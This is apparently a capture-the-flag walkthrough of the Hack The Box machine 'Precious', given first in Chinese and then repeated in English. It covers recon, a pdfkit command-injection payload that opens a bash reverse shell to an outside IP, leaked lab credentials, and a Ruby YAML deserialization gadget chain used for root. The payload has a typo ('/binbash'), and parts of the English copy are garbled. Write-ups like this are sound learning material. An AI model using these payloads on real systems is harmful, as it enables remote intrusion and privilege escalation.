htb precious
Information Gathering
# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds
Vulnerability Analysis
通过burpsuite我们得知web的Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15,X-Runtime: Ruby
在本地搭建网址环境
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
就可以得到一个文件
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
发现ruby库使用的是pdfkit v0.8.6
Exploitation (User Flag)
根据搜索可知CVE-2022-25765
假设后端是
kit = PDFKit.new(url)
kit.to_file("output.pdf")
当使用PDFKit它实际上是在后台拼接了一串 Shell 命令,然后调用系统的 wkhtmltopdf 去执行任务。
wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf
所以构造payload
http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`
输入到网站即可获取shell
在主目录/home/ruby/.bundle/config中寻找到henry:Q3c1AqGHtoI0aXAYFH
Privilege Escalation (Root Flag)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
可以看到运行此程序会在当前目录下检查是否含有dependencies.yml文件
致命漏洞:YAML.load,在 Ruby 中,YAML.load 是不安全的。它不仅仅是“读取文本数据”,它会实例化 YAML 数据中描述的任何 Ruby 类/对象。
攻击原理:
- 如果你在
dependencies.yml中构造了一个特殊的 Ruby 对象结构(这就叫“序列化数据”)。 - 当脚本运行到
YAML.load时,它会尝试在内存中把这个对象“复活”(反序列化)。 - 在这个“复活”的过程中,如果对象里包含某些特定的链式调用(Gadget Chain),Ruby 就会被迫执行系统命令。
通过此文章得到如何构造这个yaml
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
所以使用
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # 伪装成Gem依赖需求
!ruby/object:Gem::Package::TarReader # 让TarReader 以为自己在读一个压缩包
io: &1 !ruby/object:Net::BufferedIO # 核心触发器
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # BufferedIO的特性debug_output,调试信息打印出来
socket: &1 !ruby/object:Gem::RequestSet # 告诉ruby,要打印调试信息,就调用socket
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # 告诉ruby,socket对象其实是Kernel
method_id: :system # 告诉ruby,调用的方法名:system
git_set: id # 执行的命令
method_id: :resolve
payload
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /binbash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801
Lessons Learned
htb precious
Information Gathering
# Nmap 7.98 scan initiated on Wednesday, December 31, 2025, at 07:15:30, with the following command:
# /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189:
The host is up (latency: 0.12 seconds).
998 closed TCP ports were not displayed.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 (Debian 5+deb11u1; protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| HTTP methods: GET, HEAD, POST, OPTIONS
|_ HTTP title: Did not follow the redirect to http://precious.htb/
|_ HTTP server header: nginx/1.18.0
Device type: General purpose
Operating system: Linux 4.X|5.X
OS classification (CPE): cpe:/o:linux:linux_kernel:4, cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15–5.19
Uptime estimate: 31.799 days (since Saturday, November 29, 2025)
Network distance: 2 hops
TCP sequence prediction difficulty: 259 (Difficult!)
IP ID sequence generation: All zeros
Service information: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Data files were read from: /usr/share/nmap
OS and service detection completed. Please report any incorrect results at: https://nmap.org/submit/
# Nmap completed on Wednesday, December 31, 2025; 1 IP address (1 host) scanned in 14.69 seconds.
Vulnerability Analysis
Using Burpsuite, we identified that the web server is running nginx/1.18.0 with Phusion Passenger(R) 6.0.15, and the X-Runtime indicates that the application is written in Ruby.
We set up a local environment to test the website:
➜ Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
This process generated a PDF file:
➜ Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number : 13.36
File Name : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:31 07:31:33+00:00
File Access Date/Time : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time : 2025:12:31 07:31:59+00:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
It was determined that the Ruby library being used is pdfkit v0.8.6.
Exploitation (User Flag)
According to research, the vulnerability CVE-2022-25765 exists in this version of pdfkit.
Assuming the backend code looks something like this:
kit = PDFKit.new(url)
kit.to_file("output.pdf")
When using PDFKit, it actually concatenates a series of Shell commands in the background and then executes wkhtmltopdf to perform the task. For example, the command wkhtmltopdf http://10.10.14.5/?name= sleep 5 output.pdf would be executed.
Missing: Note: The shell mentioned in the code will execute the commands inside the PDF.
To exploit this vulnerability, we construct a payload with the following URL:
http://10.10.16.3/?name= bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'
By submitting this URL to the website, we can gain access to a shell on the target server.
The payload utilizes a known vulnerability in pdfkit to execute arbitrary commands on the server.
The henry:Q3c1AqGHtoI0aXAYFH string was found in the home/ruby/.bundle/config file of the target system.
Privilege Escalation (Root Access)
henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands as the root user:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>`
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare the installed software dependencies with those listed in the "dependencies.yml" file
require "yaml"
require 'rubygems'
TODO: Update versions automatically
def update_gems() end
def list_from_file YAML.load(File.read(“dependencies.yml”)) end
def list_local_gems Gem::Specification.sort_by { |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end
gems_file = list_from_file gems_local = list_local_gems
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if (file_name == local_name) if (file_version != local_version) puts “The installed version differs from the version specified in the file: ” + local_name else puts “The installed version is the same as the version specified in the file: ” + local_name end end end end
This program checks whether a `dependencies.yml` file exists in the current directory when it is run.
**Critical Vulnerability:** `YAML.load` in Ruby is insecure. It does more than just “reading text data”; it actually **instantiates** any Ruby classes or objects described in the YAML data.
**How the Attack Works:**
1. If you construct a special Ruby object structure within the `dependencies.yml` file (this is known as “serializing data”).
2. When the script executes `YAML.load`, it attempts to “recreate” this object in memory (deserializing it).
3. During this deserialization process, if the object contains certain types of chained method calls (known as a “Gadget Chain”), Ruby may be forced to execute system commands.
You can learn how to construct such a malicious YAML file [in this article](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md).
Example of Ruby version:
```ruby
henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
Therefore, using YAML.load in this context poses a significant security risk.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements: # Pretends to be Gem dependency requirements
!ruby/object:Gem::Package::TarReader # Makes TarReader think it's reading a compressed package
io: &1 !ruby/object:Net::BufferedIO # The core trigger
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter # Used for debugging output
socket: &1 !ruby/object:Gem::RequestSet # Tells Ruby to use the socket for debugging information
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel' # Tells Ruby that the socket is actually part of the Kernel
method_id: :system # Indicates the method being called: system
git_set: id # The command that is executed
method_id: :resolve
payload
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /binbash
method_id: :resolve
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>`
32: from /opt/update_dependencies.rb:10:in `list_from_file'
....
....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801